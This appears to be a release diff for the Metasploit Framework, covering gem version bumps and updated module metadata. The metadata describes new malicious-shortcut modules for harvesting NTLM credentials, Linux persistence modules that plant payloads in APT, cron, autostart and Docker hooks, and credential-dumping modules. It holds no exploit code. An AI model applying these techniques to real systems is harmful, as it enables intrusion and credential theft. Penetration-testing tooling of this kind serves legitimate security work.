@@ -526,7 +528,7 @@ GEM
bigdecimal
rex-zip (0.1.6)
rex-text
rexml (3.4.1)
rexml (3.4.4)
rinda (0.2.0)
drb
forwardable
+3 -3
View File
@@ -30,7 +30,7 @@ benchmark, 0.4.1, "ruby, Simplified BSD"
bigdecimal, 3.2.2, "ruby, Simplified BSD"
bindata, 2.4.15, "Simplified BSD"
bootsnap, 1.18.4, MIT
bson, 5.0.2, "Apache 2.0"
bson, 5.1.1, "Apache 2.0"
builder, 3.3.0, MIT
bundler, 2.5.22, MIT
byebug, 11.1.3, "Simplified BSD"
@@ -49,7 +49,7 @@ dnsruby, 1.72.4, "Apache 2.0"
docile, 1.4.1, MIT
domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
drb, 2.2.3, "ruby, Simplified BSD"
ed25519, 1.3.0, MIT
ed25519, 1.4.0, MIT
elftools, 1.3.1, MIT
em-http-request, 1.1.7, MIT
em-socksify, 0.3.3, MIT
@@ -96,7 +96,7 @@ memory_profiler, 1.1.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.5, "New BSD"
metasploit-credential, 6.0.16, "New BSD"
metasploit-framework, 6.4.87, "New BSD"
metasploit-framework, 6.4.91, "New BSD"
metasploit-model, 5.0.4, "New BSD"
metasploit-payloads, 2.0.221, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.9, "New BSD"
+1226 -498
View File
@@ -837,7 +837,7 @@
"Spencer McIntyre",
"jheysel-r7"
],
"description": "This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically\n ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user.\n The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the\n admin/ldap/shadow_credentials module to add shadow credentials for the target user. It then uses the\n admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user and requests a certificate via\n MS-ICPR. The resulting certificate can be used for various operations, such as authentication.\n\n The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are\n reverted after execution to maintain system integrity.",
"description": "This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically\n ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user.\n The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the\n admin/ldap/shadow_credentials module to add shadow credentials for the target user if the target password is\n not provided. It then uses the admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user\n and requests a certificate via MS-ICPR. The resulting certificate can be used for various operations, such as\n authentication.\n\n The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are\n reverted after execution to maintain system integrity.",
"references": [
"URL-https://github.com/GhostPack/Certify",
"URL-https://github.com/ly4k/Certipy",
@@ -856,7 +856,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2025-07-30 15:28:56 +0000",
"mod_time": "2025-09-25 13:35:41 +0000",
"path": "/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb",
"is_install_path": true,
"ref_name": "admin/dcerpc/esc_update_ldap_object",
@@ -11234,7 +11234,8 @@
"description": "This module authenticates to an Active Directory Domain Controller and creates\n a volume shadow copy of the %SYSTEMDRIVE%. It then pulls down copies of the\n ntds.dit file as well as the SYSTEM hive and stores them. The ntds.dit and SYSTEM\n hive copy can be used in combination with other tools for offline extraction of AD\n password hashes. All of this is done without uploading a single binary to the\n target host.",
"references": [
"URL-http://sourceforge.net/projects/smbexec",
"URL-https://www.optiv.com/blog/owning-computers-without-shell-access"
"URL-https://www.optiv.com/blog/owning-computers-without-shell-access",
"ATT&CK-T1003.003"
],
"platform": "",
"arch": "",
@@ -11248,7 +11249,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2025-05-21 08:32:40 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb",
"is_install_path": true,
"ref_name": "admin/smb/psexec_ntdsgrab",
@@ -18677,6 +18678,130 @@
"needs_cleanup": false,
"actions": []
},
"auxiliary_fileformat/datablock_padding_lnk": {
"name": "Windows Shortcut (LNK) Padding",
"fullname": "auxiliary/fileformat/datablock_padding_lnk",
"aliases": [],
"rank": 300,
"disclosure_date": "2025-07-19",
"type": "auxiliary",
"author": [
"Nafiez"
],
"description": "This module generates Windows LNK (shortcut) file that can execute\n arbitrary commands. The LNK file uses environment variables and execute\n its arguments from COMMAND_LINE_ARGUMENTS with extra juicy whitespace\n character padding bytes and concatenates the actual payload.",
"references": [
"ZDI-25-148",
"URL-https://zeifan.my/Windows-LNK/",
"URL-https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1",
"URL-https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-09-29 10:12:50 +0000",
"path": "/modules/auxiliary/fileformat/datablock_padding_lnk.rb",
"is_install_path": true,
"ref_name": "fileformat/datablock_padding_lnk",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [],
"SideEffects": [
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": false,
"actions": []
},
"auxiliary_fileformat/environment_variable_datablock_leak": {
"name": "Right-Click Execution - Windows LNK File Special UNC Path NTLM Leak",
"fullname": "auxiliary/fileformat/environment_variable_datablock_leak",
"aliases": [],
"rank": 300,
"disclosure_date": "2025-05-06",
"type": "auxiliary",
"author": [
"Nafiez"
],
"description": "This module creates a malicious Windows shortcut (LNK) file that\n specifies a special UNC path in EnvironmentVariableDataBlock of Shell Link (.LNK)\n that can trigger an authentication attempt to a remote server. This can be used\n to harvest NTLM authentication credentials.\n\n When a victim right-click the generated LNK file, it will attempt to connect to the\n the specified UNC path, resulting in an SMB connection that can be captured\n to harvest credentials.",
"references": [
"URL-https://zeifan.my/Right-Click-LNK/"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-09-29 11:37:42 +0000",
"path": "/modules/auxiliary/fileformat/environment_variable_datablock_leak.rb",
"is_install_path": true,
"ref_name": "fileformat/environment_variable_datablock_leak",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"screen-effects"
],
"Reliability": []
},
"session_types": false,
"needs_cleanup": false,
"actions": []
},
"auxiliary_fileformat/icon_environment_datablock_leak": {
"name": "IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak",
"fullname": "auxiliary/fileformat/icon_environment_datablock_leak",
"aliases": [],
"rank": 300,
"disclosure_date": "2025-05-16",
"type": "auxiliary",
"author": [
"Nafiez"
],
"description": "This module creates a malicious Windows shortcut (LNK) file that\n specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK)\n that can trigger an authentication attempt to a remote server. This can be used\n to harvest NTLM authentication credentials.\n\n When a victim browse to the location of the LNK file, it will attempt to\n connect to the the specified UNC path, resulting in an SMB connection that\n can be captured to harvest credentials.",
"references": [
"URL-https://zeifan.my/Right-Click-LNK/"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-09-29 11:37:42 +0000",
"path": "/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb",
"is_install_path": true,
"ref_name": "fileformat/icon_environment_datablock_leak",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk"
],
"Reliability": []
},
"session_types": false,
"needs_cleanup": false,
"actions": []
},
"auxiliary_fileformat/maldoc_in_pdf_polyglot": {
"name": "Maldoc in PDF Polyglot converter",
"fullname": "auxiliary/fileformat/maldoc_in_pdf_polyglot",
@@ -18798,6 +18923,44 @@
"needs_cleanup": false,
"actions": []
},
"auxiliary_fileformat/specialfolder_leak": {
"name": "SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak",
"fullname": "auxiliary/fileformat/specialfolder_leak",
"aliases": [],
"rank": 300,
"disclosure_date": "2025-05-10",
"type": "auxiliary",
"author": [
"Nafiez"
],
"description": "This module creates a malicious Windows shortcut (LNK) file that\n specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK)\n that can trigger an authentication attempt to a remote server. This can be used\n to harvest NTLM authentication credentials.\n\n When a victim browse to the location of the LNK file, it will attempt to\n connect to the the specified UNC path, resulting in an SMB connection that\n can be captured to harvest credentials.",
"references": [],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-09-29 11:33:33 +0000",
"path": "/modules/auxiliary/fileformat/specialfolder_leak.rb",
"is_install_path": true,
"ref_name": "fileformat/specialfolder_leak",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [],
"SideEffects": [
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": false,
"actions": []
},
"auxiliary_fileformat/word_unc_injector": {
"name": "Microsoft Word UNC Path Injector",
"fullname": "auxiliary/fileformat/word_unc_injector",
@@ -20934,7 +21097,8 @@
"references": [
"URL-https://support.checkpoint.com/results/sk/sk182336",
"URL-https://www.rapid7.com/blog/post/2024/05/30/etr-cve-2024-24919-check-point-security-gateway-information-disclosure/",
"URL-https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/"
"URL-https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/",
"ATT&CK-T1003.008"
],
"platform": "",
"arch": "",
@@ -20955,7 +21119,7 @@
"https"
],
"targets": null,
"mod_time": "2024-06-13 08:14:35 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/auxiliary/gather/checkpoint_gateway_fileread_cve_2024_24919.rb",
"is_install_path": true,
"ref_name": "gather/checkpoint_gateway_fileread_cve_2024_24919",
@@ -22605,7 +22769,8 @@
"EDB-47288",
"URL-https://www.fortiguard.com/psirt/FG-IR-18-384",
"URL-https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf",
"URL-https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/"
"URL-https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/",
"ATT&CK-T1003.008"
],
"platform": "",
"arch": "",
@@ -22626,7 +22791,7 @@
"https"
],
"targets": null,
"mod_time": "2022-04-16 06:52:59 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/auxiliary/gather/fortios_vpnssl_traversal_creds_leak.rb",
"is_install_path": true,
"ref_name": "gather/fortios_vpnssl_traversal_creds_leak",
@@ -24319,7 +24484,8 @@
"description": "This module will gather passwords and password hashes from a target LDAP server via multiple techniques\n including Windows LAPS. For best results, run with SSL because some attributes are only readable over\n encrypted connections.",
"references": [
"URL-https://blog.xpnsec.com/lapsv2-internals/",
"URL-https://github.com/fortra/impacket/blob/master/examples/GetLAPSPassword.py"
"URL-https://github.com/fortra/impacket/blob/master/examples/GetLAPSPassword.py",
"ATT&CK-T1003"
],
"platform": "",
"arch": "",
@@ -24327,7 +24493,7 @@
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-07-18 17:10:35 +0000",
"mod_time": "2025-09-08 17:30:59 +0000",
"path": "/modules/auxiliary/gather/ldap_passwords.rb",
"is_install_path": true,
"ref_name": "gather/ldap_passwords",
@@ -26221,7 +26387,8 @@
"description": "This module exploits combined heap and stack buffer overflows for QNAP\n NAS and NVR devices to dump the admin (root) shadow hash from memory via\n an overwrite of __libc_argv[0] in the HTTP-header-bound glibc backtrace.\n\n A binary search is performed to find the correct offset for the BOFs.\n Since the server forks, blind remote exploitation is possible, provided\n the heap does not have ASLR.",
"references": [
"URL-https://seclists.org/fulldisclosure/2017/Feb/2",
"URL-https://en.wikipedia.org/wiki/Binary_search_algorithm"
"URL-https://en.wikipedia.org/wiki/Binary_search_algorithm",
"ATT&CK-T1003"
],
"platform": "",
"arch": "",
@@ -26242,7 +26409,7 @@
"https"
],
"targets": null,
"mod_time": "2025-06-23 12:43:46 +0000",
"mod_time": "2025-09-08 17:30:59 +0000",
"path": "/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb",
"is_install_path": true,
"ref_name": "gather/qnap_backtrace_admin_hash",
@@ -26296,7 +26463,8 @@
"EDB-48531",
"URL-https://infosecwriteups.com/qnap-pre-auth-root-rce-affecting-450k-devices-on-the-internet-d55488d28a05",
"URL-https://www.qnap.com/en-us/security-advisory/nas-201911-25",
"URL-https://github.com/Imanfeng/QNAP-NAS-RCE"
"URL-https://github.com/Imanfeng/QNAP-NAS-RCE",
"ATT&CK-T1003.008"
],
"platform": "",
"arch": "",
@@ -26317,7 +26485,7 @@
"https"
],
"targets": null,
"mod_time": "2022-02-23 16:27:12 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/auxiliary/gather/qnap_lfi.rb",
"is_install_path": true,
"ref_name": "gather/qnap_lfi",
@@ -27814,7 +27982,8 @@
"description": "This module uses an anonymous-bind LDAP connection to dump data from\n the vmdir service in VMware vCenter Server version 6.7 prior to the\n 6.7U3f update, only if upgraded from a previous release line, such as\n 6.0 or 6.5.\n If the bind username and password are provided (BIND_DN and LDAPPassword\n options), these credentials will be used instead of attempting an\n anonymous bind.",
"references": [
"CVE-2020-3952",
"URL-https://www.vmware.com/security/advisories/VMSA-2020-0006.html"
"URL-https://www.vmware.com/security/advisories/VMSA-2020-0006.html",
"ATT&CK-T1003"
],
"platform": "",
"arch": "",
@@ -27822,7 +27991,7 @@
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-06-05 16:33:42 +0000",
"mod_time": "2025-09-08 17:30:59 +0000",
"path": "/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb",
"is_install_path": true,
"ref_name": "gather/vmware_vcenter_vmdir_ldap",
@@ -27913,7 +28082,11 @@
],
"description": "Dumps SAM hashes and LSA secrets (including cached creds) from the\n remote Windows target without executing any agent locally. This is\n done by remotely updating the registry key security descriptor,\n taking advantage of the WriteDACL privileges held by local\n administrators to set temporary read permissions.\n\n This can be disabled by setting the `INLINE` option to false and the\n module will fallback to the original implementation, which consists\n in saving the registry hives locally on the target\n (%SYSTEMROOT%\\Temp\\<random>.tmp), downloading the temporary hive\n files and reading the data from it. This temporary files are removed\n when it's done.\n\n On domain controllers, secrets from Active Directory is extracted\n using [MS-DRDS] DRSGetNCChanges(), replicating the attributes we need\n to get SIDs, NTLM hashes, groups, password history, Kerberos keys and\n other interesting data. Note that the actual `NTDS.dit` file is not\n downloaded. Instead, the Directory Replication Service directly asks\n Active Directory through RPC requests.\n\n This modules takes care of starting or enabling the Remote Registry\n service if needed. It will restore the service to its original state\n when it's done.\n\n This is a port of the great Impacket `secretsdump.py` code written by\n Alberto Solino.",
"references": [
"URL-https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py"
"URL-https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py",
"ATT&CK-T1003.002",
"ATT&CK-T1003.004",
"ATT&CK-T1003.005",
"ATT&CK-T1003.006"
],
"platform": "",
"arch": "",
@@ -27927,7 +28100,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2025-05-21 11:40:06 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/auxiliary/gather/windows_secrets_dump.rb",
"is_install_path": true,
"ref_name": "gather/windows_secrets_dump",
@@ -34871,7 +35044,8 @@
"description": "This module exploits an OS Command Injection vulnerability in Cambium\n ePMP 1000 (<v2.5) device management portal. It requires any one of the\n following login credentials - admin/admin, installer/installer, home/home - to\n dump system hashes.",
"references": [
"URL-http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/",
"URL-https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83"
"URL-https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83",
"ATT&CK-T1003"
],
"platform": "",
"arch": "",
@@ -34892,7 +35066,7 @@
"https"
],
"targets": null,
"mod_time": "2025-06-23 12:43:46 +0000",
"mod_time": "2025-09-08 17:30:59 +0000",
"path": "/modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb",
"is_install_path": true,
"ref_name": "scanner/http/epmp1000_dump_hashes",
@@ -51508,7 +51682,7 @@
"postgres"
],
"targets": null,
"mod_time": "2025-06-23 12:43:46 +0000",
"mod_time": "2025-09-02 16:31:33 +0000",
"path": "/modules/auxiliary/scanner/postgres/postgres_login.rb",
"is_install_path": true,
"ref_name": "scanner/postgres/postgres_login",
@@ -55714,7 +55888,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2025-06-20 13:20:44 +0000",
"mod_time": "2025-09-12 14:27:32 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_login.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_login",
@@ -56837,14 +57011,16 @@
"Nicholas Starke <nick@alephvoid.com>"
],
"description": "This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x.\n The 'karaf' user has a known default password, which can be used to login to the\n SSH service, and execute operating system commands from remote.",
"references": [],
"references": [
"ATT&CK-T1003.008"
],
"platform": "Unix",
"arch": "cmd",
"rport": 8101,
"autofilter_ports": [],
"autofilter_services": [],
"targets": null,
"mod_time": "2025-06-23 12:43:46 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb",
"is_install_path": true,
"ref_name": "scanner/ssh/apache_karaf_command_execution",
@@ -85181,7 +85357,8 @@
"CVE-2022-24989",
"URL-https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/",
"URL-https://github.com/0xf4n9x/CVE-2022-24990",
"URL-https://attackerkb.com/topics/h8YKVKx21t/cve-2022-24990"
"URL-https://attackerkb.com/topics/h8YKVKx21t/cve-2022-24990",
"ATT&CK-T1003"
],
"platform": "Linux,Unix",
"arch": "cmd, x64, x86, aarch64",
@@ -85205,7 +85382,7 @@
"Unix Command",
"Linux Dropper"
],
"mod_time": "2023-06-12 19:28:08 +0000",
"mod_time": "2025-09-08 17:30:59 +0000",
"path": "/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb",
"is_install_path": true,
"ref_name": "linux/http/terramaster_unauth_rce_cve_2022_24990",
@@ -88997,51 +89174,6 @@
"needs_cleanup": true,
"actions": []
},
"exploit_linux/local/apt_package_manager_persistence": {
"name": "APT Package Manager Persistence",
"fullname": "exploit/linux/local/apt_package_manager_persistence",
"aliases": [],
"rank": 600,
"disclosure_date": "1999-03-09",
"type": "exploit",
"author": [
"Aaron Ringo"
],
"description": "This module will run a payload when the package manager is used. No\n handler is ran automatically so you must configure an appropriate\n exploit/multi/handler to connect. This module creates a pre-invoke hook\n for APT in apt.conf.d. The hook name syntax is numeric followed by text.",
"references": [],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Automatic"
],
"mod_time": "2025-06-23 12:43:46 +0000",
"path": "/modules/exploits/linux/local/apt_package_manager_persistence.rb",
"is_install_path": true,
"ref_name": "linux/local/apt_package_manager_persistence",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"unknown-reliability"
],
"Stability": [
"unknown-stability"
],
"SideEffects": [
"unknown-side-effects"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true,
"actions": []
},
"exploit_linux/local/asan_suid_executable_priv_esc": {
"name": "AddressSanitizer (ASan) SUID Executable Privilege Escalation",
"fullname": "exploit/linux/local/asan_suid_executable_priv_esc",
@@ -89097,51 +89229,6 @@
"needs_cleanup": true,
"actions": []
},
"exploit_linux/local/autostart_persistence": {
"name": "Autostart Desktop Item Persistence",
"fullname": "exploit/linux/local/autostart_persistence",
"aliases": [],
"rank": 600,
"disclosure_date": "2006-02-13",
"type": "exploit",
"author": [
"Eliott Teissonniere"
],
"description": "This module will create an autostart entry to execute a payload.\n The payload will be executed when the users logs in.",
"references": [],
"platform": "Linux,Unix",
"arch": "cmd",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Automatic"
],
"mod_time": "2025-06-23 12:43:46 +0000",
"path": "/modules/exploits/linux/local/autostart_persistence.rb",
"is_install_path": true,
"ref_name": "linux/local/autostart_persistence",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"unknown-reliability"
],
"Stability": [
"unknown-stability"
],
"SideEffects": [
"unknown-side-effects"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": null,
"actions": []
},
"exploit_linux/local/blueman_set_dhcp_handler_dbus_priv_esc": {
"name": "blueman set_dhcp_handler D-Bus Privilege Escalation",
"fullname": "exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc",
@@ -89376,50 +89463,6 @@
"needs_cleanup": true,
"actions": []
},
"exploit_linux/local/cron_persistence": {
"name": "Cron Persistence",
"fullname": "exploit/linux/local/cron_persistence",
"aliases": [],
"rank": 600,
"disclosure_date": "1979-07-01",
"type": "exploit",
"author": [
"h00die <mike@shorebreaksecurity.com>"
],
"description": "This module will create a cron or crontab entry to execute a payload.\n The module includes the ability to automatically clean up those entries to prevent multiple executions.\n syslog will get a copy of the cron entry.",
"references": [],
"platform": "Linux,Unix",
"arch": "cmd",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Cron",
"User Crontab",
"System Crontab"
],
"mod_time": "2025-06-23 12:43:46 +0000",
"path": "/modules/exploits/linux/local/cron_persistence.rb",
"is_install_path": true,
"ref_name": "linux/local/cron_persistence",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"unknown-reliability"
],
"Stability": [
"unknown-stability"
],
"SideEffects": [
"unknown-side-effects"
]
},
"session_types": [],
"needs_cleanup": true,
"actions": []
},
"exploit_linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe": {
"name": "Linux eBPF ALU32 32-bit Invalid Bounds Tracking LPE",
"fullname": "exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe",
@@ -90949,51 +90992,6 @@
"needs_cleanup": true,
"actions": []
},
"exploit_linux/local/motd_persistence": {
"name": "update-motd.d Persistence",
"fullname": "exploit/linux/local/motd_persistence",
"aliases": [],
"rank": 300,
"disclosure_date": "1999-01-01",
"type": "exploit",
"author": [
"Julien Voisin"
],
"description": "This module will add a script in /etc/update-motd.d/ in order to persist a payload.\n The payload will be executed with root privileges everytime a user logs in.",
"references": [
"URL-https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html"
],
"platform": "Linux,Unix",
"arch": "cmd",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Automatic"
],
"mod_time": "2024-09-11 13:30:09 +0000",
"path": "/modules/exploits/linux/local/motd_persistence.rb",
"is_install_path": true,
"ref_name": "linux/local/motd_persistence",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [],
"Reliability": [
"event-dependent"
],
"SideEffects": [
"artifacts-on-disk"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": null,
"actions": []
},
"exploit_linux/local/ndsudo_cve_2024_32019": {
"name": "Netdata ndsudo privilege escalation",
"fullname": "exploit/linux/local/ndsudo_cve_2024_32019",
@@ -91840,51 +91838,6 @@
"needs_cleanup": true,
"actions": []
},
"exploit_linux/local/rc_local_persistence": {
"name": "rc.local Persistence",
"fullname": "exploit/linux/local/rc_local_persistence",
"aliases": [],
"rank": 600,
"disclosure_date": "1980-10-01",
"type": "exploit",
"author": [
"Eliott Teissonniere"
],
"description": "This module will edit /etc/rc.local in order to persist a payload.\n The payload will be executed on the next reboot.",
"references": [],
"platform": "Linux,Unix",
"arch": "cmd",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Automatic"
],
"mod_time": "2025-06-23 12:43:46 +0000",
"path": "/modules/exploits/linux/local/rc_local_persistence.rb",
"is_install_path": true,
"ref_name": "linux/local/rc_local_persistence",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"unknown-reliability"
],
"Stability": [
"unknown-stability"
],
"SideEffects": [
"unknown-side-effects"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": null,
"actions": []
},
"exploit_linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc": {
"name": "Reliable Datagram Sockets (RDS) rds_atomic_free_op NULL pointer dereference Privilege Escalation",
"fullname": "exploit/linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc",
@@ -93494,51 +93447,6 @@
"needs_cleanup": true,
"actions": []
},
"exploit_linux/local/yum_package_manager_persistence": {
"name": "Yum Package Manager Persistence",
"fullname": "exploit/linux/local/yum_package_manager_persistence",
"aliases": [],
"rank": 600,
"disclosure_date": "2003-12-17",
"type": "exploit",
"author": [
"Aaron Ringo"
],
"description": "This module will run a payload when the package manager is used. No\n handler is ran automatically so you must configure an appropriate\n exploit/multi/handler to connect. Module modifies a yum plugin to\n launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/\n will show what plugins are currently enabled on the system.",
"references": [],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Automatic"
],
"mod_time": "2025-06-23 12:43:46 +0000",
"path": "/modules/exploits/linux/local/yum_package_manager_persistence.rb",
"is_install_path": true,
"ref_name": "linux/local/yum_package_manager_persistence",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"unknown-reliability"
],
"Stability": [
"unknown-stability"
],
"SideEffects": [
"unknown-side-effects"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true,
"actions": []
},
"exploit_linux/local/zimbra_postfix_priv_esc": {
"name": "Zimbra sudo + postfix privilege escalation",
"fullname": "exploit/linux/local/zimbra_postfix_priv_esc",
@@ -95965,6 +95873,107 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/persistence/apt_package_manager": {
"name": "APT Package Manager Persistence",
"fullname": "exploit/linux/persistence/apt_package_manager",
"aliases": [
"exploits/linux/local/apt_package_manager_persistence"
],
"rank": 600,
"disclosure_date": "1999-03-09",
"type": "exploit",
"author": [
"Aaron Ringo"
],
"description": "This module will run a payload when the APT package manager is used.\n This module creates a pre-invoke hook for APT in apt.conf.d. Write access\n to the apt.conf.d directory is required, typically requiring root access.\n The hook name is randomized if not specified.\n Verified on Ubuntu 22.04",
"references": [],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Automatic"
],
"mod_time": "2025-09-09 10:33:10 +0000",
"path": "/modules/exploits/linux/persistence/apt_package_manager.rb",
"is_install_path": true,
"ref_name": "linux/persistence/apt_package_manager",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session",
"event-dependent"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true,
"actions": []
},
"exploit_linux/persistence/autostart": {
"name": "Autostart Desktop Item Persistence",
"fullname": "exploit/linux/persistence/autostart",
"aliases": [
"exploits/linux/local/autostart_persistence"
],
"rank": 600,
"disclosure_date": "2006-02-13",
"type": "exploit",
"author": [
"Eliott Teissonniere"
],
"description": "This module will create an autostart .desktop entry to execute a payload.\n The payload will be executed when the users logs in.\n Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3.\n The following payloads were used in testing:\n - cmd/unix/reverse_netcat\n - linux/x64/meterpreter/reverse_tcp\n - cmd/linux/http/x64/meterpreter/reverse_tcp",
"references": [
"ATT&CK-T1547.013",
"URL-https://specifications.freedesktop.org/autostart-spec/latest/"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Automatic"
],
"mod_time": "2025-09-10 13:59:23 +0000",
"path": "/modules/exploits/linux/persistence/autostart.rb",
"is_install_path": true,
"ref_name": "linux/persistence/autostart",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session",
"event-dependent"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true,
"actions": []
},
"exploit_linux/persistence/bash_profile": {
"name": "Bash Profile Persistence",
"fullname": "exploit/linux/persistence/bash_profile",
@@ -96016,6 +96025,367 @@
"needs_cleanup": null,
"actions": []
},
"exploit_linux/persistence/docker_image": {
"name": "Docker Image Persistence",
"fullname": "exploit/linux/persistence/docker_image",
"aliases": [],
"rank": 600,
"disclosure_date": "2013-03-20",
"type": "exploit",
"author": [
"h00die"
],
"description": "This module maintains persistence on a host by creating a docker image which runs our\n payload, and has access to the host's file system (/host in the container). Whenever the\n container restarts, the payload will run, or when the payload dies the executable\n will run again after a delay. This will allow for writing back\n into the host through cron entries, ssh keys, or other method.\n\n Verified on Ubuntu 22.04.",
"references": [
